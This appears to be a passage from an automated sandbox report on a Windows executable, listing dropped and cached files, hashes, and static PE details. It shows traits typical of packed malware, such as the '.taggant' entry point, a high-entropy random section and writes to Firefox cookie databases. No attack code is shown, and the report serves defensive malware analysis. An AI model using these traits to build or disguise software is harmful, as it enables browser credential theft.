Preview:	L..................F.@.. ...$+.,.........)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ye/...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 04:59:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9855423402383128
Encrypted:	false
SSDEEP:	48:8UdjTLPTHCidAKZdA1hehBiZUk1W1qehuy+C:8QXF9Oy
MD5:	6919D3A7162FEB9319B073B3AA277F72
SHA1:	F28B7F213DE0F75334201EF568F4F2F2D7AAAFBB
SHA-256:	66400FC935AAAC5A20E954F002B4C9D0B2FA7C08577867774D5333B374974F84
SHA-512:	270BCACCBA0A831CAB01D7C64879F893A48E340B81B62A45A99911EA5E7603901EE266F9B2BC26B7B5D6C8D5F3AD9E4623990D8194D75FFC14E2CF67992FBA14
Malicious:	false
Preview:	L..................F.@.. ...$+.,........)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ye/...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 04:59:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.993402694111832
Encrypted:	false
SSDEEP:	48:8csdjTLPTHCidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbMy+yT+:8cIXZT/TbxWOvTbMy7T
MD5:	9736EC226833EE0D0D4C8E04D6D6DA42
SHA1:	2DC370185803458661557E27C5F780BD40CCF174
SHA-256:	B8E124734E2E5C9EA2A4B04552151551458316CCBE363BEC2D48E7D43C020674
SHA-512:	95676F1B066B08685446BAB526C4EB0C0080B288674BA6D5DA07C9F57D6F6752A8C2D3C1BEE0909DC8240C478A824DE3354EB2F0053387E56FC2BB1DD6B8AB8C
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....+...)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ye/...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178241
Entropy (8bit):	5.55470499065985
Encrypted:	false
SSDEEP:	3072:mqnrEqzhkki0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59Gw:mqnIqzhkki0fvsYPB+q4hXAmwWVW11ue
MD5:	B15D2D9ABA48198AE8AF3A587868846C
SHA1:	0CBBC1D0EA4F7E6671CD0EAF39A46F63A60990BC
SHA-256:	8F41B6C43F8C4320A9B9198A8024D05D9877F8CC423C7E33AC15D17036486EEC
SHA-512:	D5C68E7AFA443AA55801E2C8F136921428D55D302C8BD4F3EE7AC9E42CB96B30AF508763C208DF0D0DFBCFC4982587536D536AB5A07614C39D342FC43EAB724D
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	downloaded
Size (bytes):	804
Entropy (8bit):	5.162628281255777
Encrypted:	false
SSDEEP:	24:T1do0jRuwAkZKdBHslgT9lCuABuoB7HHHHHHHYqmffffffo:pRuwADdKlgZ01BuSEqmffffffo
MD5:	4D0DE4812BFFCB0E369F596E2EB0D2D8
SHA1:	58A9DECAEB3D8F5BDCF49BB53E0BA943EE30F7F2
SHA-256:	71829DAFE92958E085988C87C8CF47D411196B60980FF1DC306E91FE0AC01707
SHA-512:	C2683460311A94A4031BAD2E0F8BE26653AFF7971DA479B87D309BCCC5717FAADE0ED7EE6E37369F918FF41A5925A6D25E9ACB85ECEE2FE1B241B837B1E2A755
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["brian thomas jr injury update","venom 3 credit scenes","dragon age the veilguard reviews","boeing strike union","northern lights aurora forecast","dallas cowboys san francisco 49ers","does rain die in beauty in black","black ops liberty falls"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134239
Entropy (8bit):	5.436636476501661
Encrypted:	false
SSDEEP:	1536:g7CkPDNTv14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzZixqxUDgRiKvD+RVH2Unp:2Pt1CAV/WEhFdF47j9ROqxc6+OUaKszQ
MD5:	1E9B5A66CF92A0B8602DE5AD1CA635A2
SHA1:	B517B42797D1A2DA8A2E35D3E1A717C8314A6B1F
SHA-256:	791BE51A569C015E0DD0A327646BFBD006A78A177BC22F6EFA54CECC30B3CD09
SHA-512:	5DA981C8DFA68C6E88F6C8D183D097E460F0D63CB91942FF5E27FAA025C4270438ADC91E9964C603F6B427F6E1F87A348530AFF10984BDD54B75F41590F8B059
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9600986911850224
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'130'432 bytes
MD5:	2dc6f0117069ab5503a72d67e7575915
SHA1:	8034670a04be0ac148c683fa4dc5d84542a60754
SHA256:	7646042bf2f3495ce93fb8093168db24f777fe579395a2e08e32380b5082c1a3
SHA512:	9f6a52f4b935dd9ab420acb1e6df25ae5b1bbc98371ac551db26d04351a67f793f6aebe43ca5a38da8de9078b317c5c12aab392cf2eeaf4d587730f682088be5
SSDEEP:	49152:ETa6i71/3PEA9ARm/SV2u8VU5xYEfwcZs3NKDP+ePa9in:Erix/fEjROSQ9VUHYEfwcDmePmin
TLSH:	97A533A801807151D365CE738ABF167ABF719100D10EEA3B3AC9557E4D37C9B2CD2AA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb26000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F3174BF1F9Ah
punpcklbw mm4, qword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	b8a70309aa86920d8267ab2e1546bf46	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29d000	0x200	8f0a0c8e9f4a82a152b8bcd589e40434	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uqyympsy	0x587000	0x19e000	0x19d200	0067d2834965f86c1785b35e34e7e265	False	0.994965015128593	data	7.954376202452786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
